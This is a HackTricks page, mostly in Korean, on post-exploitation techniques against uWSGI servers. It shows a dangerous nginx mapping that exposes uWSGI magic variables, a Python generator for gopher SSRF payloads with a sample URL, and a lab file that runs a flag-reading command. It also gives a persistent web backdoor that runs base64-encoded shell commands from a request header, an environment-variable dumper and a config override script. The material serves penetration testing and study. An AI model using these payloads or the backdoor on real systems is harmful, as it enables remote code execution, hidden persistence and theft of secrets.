WSGI Post-Exploitation Tricks

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

WSGI ๊ฐœ์š”

Web Server Gateway Interface (WSGI)์€ ์›น ์„œ๋ฒ„๊ฐ€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ํ†ต์‹ ํ•˜๋Š” ๋ฐฉ์‹๊ณผ, ํ•˜๋‚˜์˜ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ฒด์ด๋‹ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ •์˜ํ•œ ๊ทœ๊ฒฉ์ž…๋‹ˆ๋‹ค. uWSGI๋Š” ๊ฐ€์žฅ ์ธ๊ธฐ ์žˆ๋Š” WSGI ์„œ๋ฒ„ ์ค‘ ํ•˜๋‚˜๋กœ, ์ฃผ๋กœ Python ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ œ๊ณตํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. uWSGI์˜ ๋„ค์ดํ‹ฐ๋ธŒ ๋ฐ”์ด๋„ˆ๋ฆฌ ์ „์†ก ๋ฐฉ์‹์€ uwsgi ํ”„๋กœํ† ์ฝœ(์†Œ๋ฌธ์ž)๋กœ, ๋ฐฑ์—”๋“œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์„œ๋ฒ„๋กœ ํ‚ค/๊ฐ’ ํŒŒ๋ผ๋ฏธํ„ฐ๋“ค์„ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค(โ€œuwsgi paramsโ€).

์ฐธ๊ณ ํ•  ๋งŒํ•œ ๊ด€๋ จ ํŽ˜์ด์ง€:

Werkzeug / Flask Debug

SSRF (Server Side Request Forgery)

uWSGI ๋งค์ง ๋ณ€์ˆ˜ ์•…์šฉ

uWSGI๋Š” ์ธ์Šคํ„ด์Šค๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋กœ๋“œํ•˜๊ณ  ๋””์ŠคํŒจ์น˜ํ•˜๋Š” ๋ฐฉ์‹์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋Š” โ€œmagic variablesโ€œ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ณ€์ˆ˜๋“ค์€ ์ผ๋ฐ˜์ ์ธ HTTP ํ—ค๋”๊ฐ€ ์•„๋‹ˆ๋ผ, reverse proxy (nginx, Apache mod_proxy_uwsgi ๋“ฑ)์—์„œ uWSGI ๋ฐฑ์—”๋“œ๋กœ ์ „๋‹ฌ๋˜๋Š” uwsgi/SCGI/FastCGI ์š”์ฒญ ๋‚ด๋ถ€์— ์‹ค๋ฆฌ๋Š” uwsgi ํŒŒ๋ผ๋ฏธํ„ฐ๋“ค์ž…๋‹ˆ๋‹ค. ํ”„๋ก์‹œ ์„ค์ •์ด ์‚ฌ์šฉ์ž ์ œ์–ด ๋ฐ์ดํ„ฐ๋ฅผ uwsgi ํŒŒ๋ผ๋ฏธํ„ฐ์— ๋งคํ•‘ํ•œ๋‹ค๋ฉด(์˜ˆ: $arg_*, $http_*๋ฅผ ํ†ตํ•ด, ๋˜๋Š” uwsgi ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜๋Š” ์•ˆ์ „ํ•˜์ง€ ์•Š๊ฒŒ ๋…ธ์ถœ๋œ ์—”๋“œํฌ์ธํŠธ๋ฅผ ํ†ตํ•ด), ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋Ÿฌํ•œ ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•˜์—ฌ ์ฝ”๋“œ ์‹คํ–‰์„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ”„๋ก ํŠธ ํ”„๋ก์‹œ์—์„œ์˜ ์œ„ํ—˜ํ•œ ๋งคํ•‘ (nginx ์˜ˆ์‹œ)

๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ž˜๋ชป๋œ ์„ค์ •์€ uWSGI์˜ magic variables๋ฅผ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์— ์ง์ ‘ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค:

location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f;                 # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod;          # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c;             # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}

์•ฑ์ด๋‚˜ ์—…๋กœ๋“œ ๊ธฐ๋Šฅ์ด ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ๊ฒฝ๋กœ์— ํŒŒ์ผ์„ ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ•˜๋Š” ๊ฒฝ์šฐ, ์œ„์˜ ๋งคํ•‘๊ณผ ๊ฒฐํ•ฉํ•˜๋ฉด ๋ฐฑ์—”๋“œ๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ํŒŒ์ผ/๋ชจ๋“ˆ์„ ๋กœ๋“œํ•  ๋•Œ ๋ณดํ†ต ์ฆ‰์‹œ RCE๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์ฃผ์š” ์•…์šฉ ๋ณ€์ˆ˜

UWSGI_FILE - ์ž„์˜ ํŒŒ์ผ ๋กœ๋“œ/์‹คํ–‰

uwsgi_param UWSGI_FILE /path/to/python/file.py;

์ž„์˜์˜ Python ํŒŒ์ผ์„ WSGI ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ uwsgi param bag์„ ํ†ตํ•ด ์ด ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์œผ๋ฉด Remote Code Execution (RCE)์„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

UWSGI_SCRIPT - ์Šคํฌ๋ฆฝํŠธ ๋กœ๋”ฉ

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

์ง€์ •๋œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ƒˆ๋กœ์šด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. ํŒŒ์ผ ์—…๋กœ๋“œ๋‚˜ ์“ฐ๊ธฐ ๊ธฐ๋Šฅ๊ณผ ๊ฒฐํ•ฉ๋˜๋ฉด ์ด๋Š” RCE๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

UWSGI_MODULE ๋ฐ UWSGI_CALLABLE - ๋™์  ๋ชจ๋“ˆ ๋กœ๋”ฉ

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

์ด ๋งค๊ฐœ๋ณ€์ˆ˜๋“ค์€ ์ž„์˜์˜ Python ๋ชจ๋“ˆ์„ ๋กœ๋“œํ•˜๊ณ  ๊ทธ ์•ˆ์˜ ํŠน์ • ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

UWSGI_SETENV - ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ์กฐ์ž‘

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋™์ž‘์— ์˜ํ–ฅ์„ ์ฃผ๊ฑฐ๋‚˜ ์•…์„ฑ ๊ตฌ์„ฑ์„ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

UWSGI_PYHOME - Python ํ™˜๊ฒฝ ์กฐ์ž‘

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Python ๊ฐ€์ƒ ํ™˜๊ฒฝ์„ ๋ณ€๊ฒฝํ•˜์—ฌ ์•…์„ฑ ํŒจํ‚ค์ง€๋‚˜ ๋‹ค๋ฅธ Python ์ธํ„ฐํ”„๋ฆฌํ„ฐ๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

UWSGI_CHDIR - ๋””๋ ‰ํ† ๋ฆฌ ๋ณ€๊ฒฝ

uwsgi_param UWSGI_CHDIR /etc/;

์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๊ธฐ ์ „์— ์ž‘์—… ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋ณ€๊ฒฝํ•˜๋ฉฐ ๋‹ค๋ฅธ ๊ธฐ๋Šฅ๋“ค๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SSRF + uwsgi protocol (gopher) pivot

์œ„ํ˜‘ ๋ชจ๋ธ

๋Œ€์ƒ ์›น ์•ฑ์ด SSRF primitive๋ฅผ ๋…ธ์ถœํ•˜๊ณ  uWSGI ์ธ์Šคํ„ด์Šค๊ฐ€ ๋‚ด๋ถ€ TCP ์†Œ์ผ“(์˜ˆ: socket = 127.0.0.1:3031)์—์„œ ๋ฆฌ์Šค๋‹ํ•˜๋Š” ๊ฒฝ์šฐ, gopher๋ฅผ ํ†ตํ•ด raw uwsgi protocol๋กœ ํ†ต์‹ ํ•˜๊ณ  uWSGI magic variables๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋งŽ์€ ๋ฐฐํฌ ํ™˜๊ฒฝ์—์„œ ๋‚ด๋ถ€์ ์œผ๋กœ ๋น„-HTTP uwsgi ์†Œ์ผ“์„ ์‚ฌ์šฉํ•˜๊ณ , reverse proxy(nginx/Apache)๊ฐ€ ํด๋ผ์ด์–ธํŠธ์˜ HTTP๋ฅผ uwsgi param bag์œผ๋กœ ๋ณ€ํ™˜ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ด๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. SSRF+gopher๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด uwsgi ๋ฐ”์ด๋„ˆ๋ฆฌ ํŒจํ‚ท์„ ์ง์ ‘ ์ œ์ž‘ํ•˜์—ฌ UWSGI_FILE ๊ฐ™์€ ์œ„ํ—˜ํ•œ ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

uWSGI ํ”„๋กœํ† ์ฝœ ๊ตฌ์กฐ (๊ฐ„๋‹จ ์ฐธ์กฐ)

  • ํ—ค๋”(4 bytes): modifier1 (1 byte), datasize (2 bytes little-endian), modifier2 (1 byte)
  • ๋ฐ”๋””: sequence of [key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]

ํ‘œ์ค€ ์š”์ฒญ์˜ ๊ฒฝ์šฐ modifier1์€ 0์ž…๋‹ˆ๋‹ค. ๋ฐ”๋””์—๋Š” SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE ๋“ฑ๊ณผ ๊ฐ™์€ uwsgi params๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ์ „์ฒด ์„ธ๋ถ€ ์‚ฌํ•ญ์€ ๊ณต์‹ protocol spec์„ ์ฐธ์กฐํ•˜์„ธ์š”.

์ตœ์†Œ ํŒจํ‚ท ๋นŒ๋” (gopher payload ์ƒ์„ฑ)

import struct, urllib.parse

def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt  = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)

# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

์„œ๋ฒ„์— ์ด์ „์— ์ž‘์„ฑ๋œ ํŒŒ์ผ์„ force-loadํ•˜๋Š” ์˜ˆ์‹œ:

params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))

์ƒ์„ฑ๋œ URL์„ SSRF sink๋ฅผ ํ†ตํ•ด ์ „์†กํ•˜์„ธ์š”.

์‹ค์Šต ์˜ˆ์ œ

๋””์Šคํฌ์— python ํŒŒ์ผ(ํ™•์žฅ์ž๋Š” ์ƒ๊ด€์—†์Œ)์„ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๋กœ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด:

# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')

def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']

์ด ๊ฒฝ๋กœ๋กœ UWSGI_FILE์„ ์„ค์ •ํ•˜๋Š” gopher payload๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ํŠธ๋ฆฌ๊ฑฐํ•˜์„ธ์š”. ๋ฐฑ์—”๋“œ๋Š” ์ด๋ฅผ importํ•˜์—ฌ WSGI ์•ฑ์œผ๋กœ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

# backdoor.py
import subprocess, base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

์ด๋ฅผ UWSGI_FILE๋กœ ๋กœ๋“œํ•˜๊ณ  ์„ ํƒํ•œ SCRIPT_NAME ์•„๋ž˜์—์„œ ์ ‘๊ทผํ•˜์„ธ์š”.

Environment-based Persistence

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;

2. ์ •๋ณด ๋…ธ์ถœ

ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ๋คํ•‘

# env_dump.py
import os, json

def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

ํŒŒ์ผ ์‹œ์Šคํ…œ ์ ‘๊ทผ

UWSGI_CHDIR๋ฅผ ํŒŒ์ผ ์ œ๊ณต ๋„์šฐ๋ฏธ์™€ ๊ฒฐํ•ฉํ•ด ๋ฏผ๊ฐํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ํƒ์ƒ‰ํ•˜์„ธ์š”.

3. ๊ถŒํ•œ ์ƒ์Šน ์•„์ด๋””์–ด

  • uWSGI๊ฐ€ ์ƒ์Šน๋œ ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋˜๊ณ  sockets/pids๋ฅผ root ์†Œ์œ ๋กœ ๊ธฐ๋กํ•œ๋‹ค๋ฉด, env์™€ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ณ€๊ฒฝ์„ ์•…์šฉํ•ด ๊ถŒํ•œ ์žˆ๋Š” ์†Œ์œ ์ž(root)๋กœ ํŒŒ์ผ์„ ๋ฐฐ์น˜ํ•˜๊ฑฐ๋‚˜ ๋Ÿฐํƒ€์ž„ ์ƒํƒœ๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • UWSGI_FILE์„ ํ†ตํ•ด ๋กœ๋“œ๋œ ํŒŒ์ผ ๋‚ด๋ถ€์—์„œ ํ™˜๊ฒฝ(UWSGI_*)๋กœ ๊ตฌ์„ฑ์„ ์žฌ์ •์˜ํ•˜๋ฉด process model๊ณผ workers์— ์˜ํ–ฅ์„ ์ฃผ์–ด persistence๋ฅผ ๋” ์€๋ฐ€ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

uWSGI ์ฒด์ธ์— ๊ด€๋ จ๋œ Reverse-proxy desync ์ด์Šˆ (์ตœ๊ทผ)

mod_proxy_uwsgi๋ฅผ ์‚ฌ์šฉํ•˜๋Š” Apache httpd ๋ฐฐํฌ๋Š” ํ”„๋ก ํŠธ์—”๋“œโ†”๋ฐฑ์—”๋“œ ์ค‘๊ฐ„ ๊ณ„์ธต์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” response-splitting/desynchronization ๋ฒ„๊ทธ๋ฅผ ์ตœ๊ทผ์— ๊ฒช์—ˆ์Šต๋‹ˆ๋‹ค:

  • CVE-2023-27522 (Apache httpd 2.4.30โ€“2.4.55; ๋˜ํ•œ uWSGI ํ†ตํ•ฉ์˜ 2.0.22/2.0.26 ์ด์ „ ์ˆ˜์ •์‚ฌํ•ญ์— ๊ด€๋ จ๋จ): ์›๋ณธ(origin) ์‘๋‹ต ํ—ค๋”๋ฅผ ์กฐ์ž‘ํ•˜๋ฉด mod_proxy_uwsgi ์‚ฌ์šฉ ์‹œ HTTP response smuggling์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Apache๋ฅผ โ‰ฅ2.4.56์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜๋ฉด ์™„ํ™”๋ฉ๋‹ˆ๋‹ค.
  • CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): ์—ฌ๋Ÿฌ httpd ๋ชจ๋“ˆ์—์„œ์˜ HTTP response splitting์ด ๋ฐฑ์—”๋“œ๊ฐ€ ํ—ค๋”๋ฅผ ์ฃผ์ž…ํ•  ๋•Œ desync๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. uWSGI 2.0.26์˜ changelog์—์„œ๋Š” ์ด๊ฒƒ์„ โ€œlet httpd handle CL/TE for non-http handlers.โ€๋กœ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค.

์ด๋“ค์€ uWSGI์—์„œ ์ง์ ‘์ ์ธ RCE๋ฅผ ๋ฐ”๋กœ ๋ถ€์—ฌํ•˜์ง€๋Š” ์•Š์ง€๋งŒ, ์—ฃ์ง€ ์ผ€์ด์Šค์—์„œ๋Š” header injection ๋˜๋Š” SSRF์™€ ์ฒด์ธ์œผ๋กœ ์—ฐ๊ฒฐ๋˜์–ด uWSGI ๋ฐฑ์—”๋“œ๋กœ ํ”ผ๋ฒ—ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ…Œ์ŠคํŠธ ์‹œ์—๋Š” ํ”„๋ก์‹œ์™€ ๋ฒ„์ „์„ fingerprintํ•˜๊ณ , desync/smuggling primitives๋ฅผ ๋ฐฑ์—”๋“œ ์ „์šฉ ๋ผ์šฐํŠธ ๋ฐ sockets๋กœ ์ ‘๊ทผํ•˜๋Š” ์ง„์ž…์ ์œผ๋กœ ๊ณ ๋ คํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ